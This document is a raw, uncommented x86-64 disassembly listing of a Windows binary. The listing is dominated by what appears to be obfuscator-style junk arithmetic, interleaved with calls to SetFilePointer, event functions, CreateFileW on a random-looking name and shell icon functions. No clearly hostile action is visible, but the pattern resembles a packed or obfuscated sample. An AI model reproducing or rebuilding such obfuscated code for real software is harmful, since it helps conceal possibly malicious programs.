movzx ecx, word [rsp + 0x5c]
add eax, ecx
mov word [rsp + 0x88], ax
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x1f0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x120], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb26c
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa40], eax
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x1f0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov qword [rsp + 0x3e0], rax
mov dword [rsp + 0x20c8], 0xa5b8
movsx eax, word [rsp + 0x7c]
mov dword [rsp + 0x351c], eax
cmp dword [rsp + 0x351c], 0x7d5
je 0x14001133d
jmp 0x1400113ee
movzx eax, word [rsp + 0x88]
movzx ecx, word [rsp + 0x84]
add eax, ecx
mov word [rsp + 0x70], ax
movzx r9d, word [rsp + 0x88]
mov r8, qword [rsp + 0x1f8]
mov rax, qword [rsp + 0x1b0]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x358]
movzx ecx, byte [rax]
call fcn.140053450
mov rcx, qword [rsp + 0x5460]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0x5468], rax
mov rax, qword [0x1400fd138]
mov ecx, dword [rsp + 0x20c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1400fd138]
mov dword [rcx], eax
movzx r8d, byte [rsp + 0x60]
mov rax, qword [rsp + 0x508]
movzx edx, byte [rax]
mov rax, qword [0x1400fd138]
mov ecx, dword [rax]
call fcn.1400534d0
mov rax, qword [0x1400fd138]
mov ecx, dword [rsp + 0xa4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb4], eax
jmp 0x140011484
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [rsp + 0x68]
sar eax, cl
mov rcx, qword [rsp + 0x508]
mov byte [rcx], al
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x338]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x838], rax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xc4]
shl eax, cl
mov dword [rsp + 0xb8], eax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x7c]
movsx ecx, word [rsp + 0x78]
xor eax, ecx
mov word [rsp + 0x64], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xcbec
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1668], eax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x3d0], rax
cmp dword [rsp + 0x20bc], 0x319e
jb 0x1400119ab
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x5c]
sub eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [0x1400fc388]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f0], rax
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0x50]
and eax, ecx
mov byte [str._aMl], al
mov eax, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0x43d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43d8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xc8], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x713b
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa40], eax
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x838]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x500], rax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x54]
add eax, ecx
mov rcx, qword [rsp + 0x3d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6c]
and eax, ecx
mov word [rsp + 0x5c], ax
mov eax, dword [rsp + 0x20bc]
sub eax, 0x75
mov dword [rsp + 0x20bc], eax
mov rax, qword [rsp + 0x3e0]
mov rcx, qword [rsp + 0x1f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x200]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x70]
add eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov eax, dword [rsp + 0xa4]
mov rcx, qword [0x1400fd138]
mov qword [rsp + 0x43e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43e0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xb4], eax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
shl eax, cl
mov byte [str._aMl], al
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xc4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xc8], eax
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x338]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x78], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6c]
sub eax, ecx
mov word [rsp + 0x84], ax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1b0]
mov qword [rsp + 0x43e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43e8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1f8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x328], rax
movsx eax, word [rsp + 0x64]
movsx ecx, word [rsp + 0x7c]
sub eax, ecx
mov rcx, qword [rsp + 0x278]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb57f
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x84]
add eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [0x1400fd138]
mov ecx, dword [rsp + 0x20c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x1400fd138]
mov dword [rcx], eax
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x500]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x990], rax
mov eax, dword [rsp + 0xc4]
mov ecx, dword [rsp + 0xa0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1400fc388]
mov rcx, qword [rsp + 0x1f0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1e8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x78]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x54], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x84]
xor eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6c]
add eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8c58
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x328]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1400fd132], al
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb8], eax
mov rax, qword [rsp + 0x838]
movzx ecx, al
mov rax, qword [rsp + 0x338]
shr rax, cl
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c]
add eax, ecx
mov word [rsp + 0x6c], ax
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x3e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f0], rax
movzx eax, word [rsp + 0x70]
movzx ecx, word [rsp + 0x88]
or eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xac54
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa40], eax
jmp 0x1400114a6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x810], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x57a7
mov rcx, qword [rsp + 0x12c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
movsx eax, word [rsp + 0x78]
movsx ecx, word [rsp + 0x7c]
shl eax, cl
mov rcx, qword [rsp + 0x190]
mov word [rcx], ax
cmp dword [rsp + 0x20c0], 0xb816
ja 0x140011df0
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x1b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x328], rax
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0x5a]
sar eax, cl
mov byte [0x1400fd132], al
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xa0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb8], eax
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x838]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x84]
and eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x120]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
mov eax, dword [rsp + 0x94]
movzx ecx, al
mov eax, dword [rsp + 0xb4]
sar eax, cl
mov dword [rsp + 0x20c], eax
movsx eax, word [0x1400fd130]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x54], ax
movzx eax, word [rsp + 0x88]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5c], ax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [str._aMl], al
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x50], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5525
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa40], eax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe24], eax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xc8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x54]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7c], ax
movzx eax, word [rsp + 0x84]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x70], ax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x3e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x200]
mov rcx, qword [0x1400fd128]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x320]
mov qword [rcx], rax
movsx eax, word [rsp + 0x54]
movsx ecx, word [rsp + 0x64]
and eax, ecx
mov word [rsp + 0x7c], ax
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [str._aMl], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xd62f
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
mov rax, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x188]
mov qword [rsp + 0x43f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43f0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xc4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc8], eax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
mov eax, dword [rsp + 0xa4]
mov ecx, dword [rsp + 0x20c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
movzx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x54]
xor eax, ecx
mov rcx, qword [rsp + 0x180]
mov word [rcx], ax
mov eax, dword [rsp + 0x20c0]
add eax, 0x1a
mov dword [rsp + 0x20c0], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x448b
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c]
or eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x84]
shl eax, cl
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
add rax, qword [0x1400fc388]
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xadc], eax
jmp 0x1400119fd
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x61], al
movzx eax, word [rsp + 0x84]
mov word [0x1400fd144], ax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa0]
shr eax, cl
mov dword [rsp + 0xc4], eax
mov eax, dword [rsp + 0x20c4]
add eax, 0xab
mov dword [rsp + 0x20c4], eax
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x338]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x838], rax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x78], ax
movzx eax, word [0x1400fd144]
movzx ecx, word [rsp + 0x88]
add eax, ecx
mov word [rsp + 0x84], ax
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x120]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6c]
sar eax, cl
mov word [rsp + 0x70], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x666e
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x120], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x20a2
mov rcx, qword [rsp + 0x12c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8ec], eax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1f0]
shl rax, cl
mov qword [rsp + 0x1f8], rax
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0x5a]
xor eax, ecx
mov byte [str._aMl], al
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x838]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
mov rax, qword [0x1400fd138]
mov ecx, dword [rsp + 0xa4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x94], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xc0c7
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0x43f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43f8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xb8], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3b62
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
movsx eax, word [rsp + 0x64]
movsx ecx, word [rsp + 0x78]
add eax, ecx
mov word [rsp + 0x54], ax
cmp dword [rsp + 0x20c4], 0x10075
jne 0x140011e08
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x78]
sub eax, ecx
mov word [rsp + 0x54], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x70]
and eax, ecx
mov word [rsp + 0x84], ax
movzx eax, byte [str._aMl]
mov byte [rsp + 0x27ac], al
cmp byte [rsp + 0x27ac], 0
je 0x1400120e6
cmp byte [rsp + 0x27ac], 0x29
je 0x1400120c8
jmp 0x140052a7e
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
add eax, dword [rsp + 0xa4]
mov rcx, qword [0x1400fd138]
mov dword [rcx], eax
jmp 0x140052a7e
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov qword [rsp + 0x7c0], rax
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0x3518], eax
cmp dword [rsp + 0x3518], 0xba2b
je 0x140012126
jmp 0x14001214e
mov rcx, qword [rsp + 0x4418]
call qword [sym.imp.SHELL32.dll_DragFinish]
mov edx, dword [rsp + 0xb4]
mov rax, qword [0x1400fd138]
mov ecx, dword [rax]
call fcn.140054c50
jmp 0x140052a6b
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x11b8], eax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x84]
shl eax, cl
mov word [rsp + 0x8c], ax
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1f0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x120], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5396
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x778], rax
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x3e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x3e0]
mov rcx, qword [rsp + 0x120]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x200]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd4], eax
mov rax, qword [rsp + 0x818]
mov rcx, qword [rsp + 0x7c0]
sub rcx, rax
mov rax, rcx
mov qword [0x1400fc390], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.0pZoEnyfvmlk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1320], rax
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x298]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x140012311
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8c]
add eax, ecx
mov word [rsp + 0x88], ax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x94]
shl eax, cl
mov dword [rsp + 0xb4], eax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x358]
mov byte [rcx], al
call fcn.140053020
jmp 0x1400123cd
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x5a]
and ecx, edx
cmp eax, ecx
jle 0x14001238d
mov r8d, 0x91
mov rdx, qword [rsp + 0x2318]
mov rcx, qword [rsp + 0x5470]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0x5418], rax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xc4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
movzx edx, word [rsp + 0x54]
mov ecx, dword [rsp + 0xc8]
call fcn.1400539b0
jmp 0x1400123cd
mov rax, qword [rsp + 0x818]
mov qword [rsp + 0x1720], rax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
sar eax, cl
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x54]
sub eax, ecx
mov word [rsp + 0x98], ax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7c], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6c]
add eax, ecx
mov word [0x1400fd144], ax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x120]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x338]
movzx ecx, al
mov rax, qword [rsp + 0x7c0]
shr rax, cl
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xc4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb8], eax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xadc], eax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x298]
mov byte [rcx], al
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c]
sub eax, ecx
mov word [rsp + 0x54], ax
movzx eax, word [rsp + 0x70]
movzx ecx, word [rsp + 0x6c]
and eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x120]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3e0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xaa18
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xac8], eax
movzx eax, word [rsp + 0x6c]
movzx ecx, word [0x1400fd144]
shl eax, cl
mov word [rsp + 0x5c], ax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20c]
xor ecx, eax
mov eax, ecx
mov dword [0x1400fc384], eax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x58]
sar eax, cl
mov byte [rsp + 0x59], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x4ed5
mov rcx, qword [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
mov rax, qword [rsp + 0x508]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x20c8]
add eax, 0x88
mov dword [rsp + 0x20c8], eax
mov eax, dword [rsp + 0xc8]
mov ecx, dword [rsp + 0xb8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x990]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x338], rax
movsx eax, word [rsp + 0x64]
movsx ecx, word [rsp + 0x98]
sub eax, ecx
mov word [rsp + 0x78], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8c]
sar eax, cl
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x320]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
cmp dword [rsp + 0x20c8], 0xd610
jb 0x1400123ea
mov rax, qword [rsp + 0x838]
mov qword [0x1400fd148], rax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c]
xor eax, ecx
mov word [rsp + 0x98], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov word [rsp + 0xec], ax
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x3d8], rax
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0xc4]
or ecx, eax
mov eax, ecx
